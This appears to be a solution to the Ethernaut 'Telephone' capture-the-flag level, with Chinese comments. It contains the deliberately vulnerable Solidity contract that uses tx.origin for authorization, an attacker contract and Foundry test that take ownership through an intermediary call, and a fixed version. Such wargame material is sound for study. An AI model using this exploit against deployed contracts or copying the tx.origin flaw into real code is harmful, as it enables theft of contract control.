🎯 Ethernaut Level 4: Telephone - tx.origin vs msg.sender 身份验证绕过

pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        // 🚨 漏洞：使用 tx.origin 进行身份验证
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/Telephone.sol";

contract TelephoneAttacker {
    Telephone public target;
    
    constructor(address _target) {
        target = Telephone(_target);
    }
    
    function attack(address _newOwner) public {
        // 通过中间合约调用，使 tx.origin ≠ msg.sender
        target.changeOwner(_newOwner);
    }
}

contract TelephoneTest is Test {
    Telephone public telephone;
    TelephoneAttacker public attacker;
    
    address public user = makeAddr("user");
    address public newOwner = makeAddr("newOwner");

    function setUp() public {
        telephone = new Telephone();
        attacker = new TelephoneAttacker(address(telephone));
    }

    function testTelephoneExploit() public {
        vm.startPrank(user);
        
        // 通过中间合约攻击
        attacker.attack(newOwner);
        
        vm.stopPrank();
        
        // 验证攻击成功
        assertEq(telephone.owner(), newOwner);
        console.log("Attack successful! New owner:", telephone.owner());
    }
}

contract SecureTelephone {
    address public owner;
    
    modifier onlyOwner() {
        require(msg.sender == owner, "Not the owner");
        _;
    }
    
    function changeOwner(address _newOwner) public onlyOwner {
        owner = _newOwner;
    }
}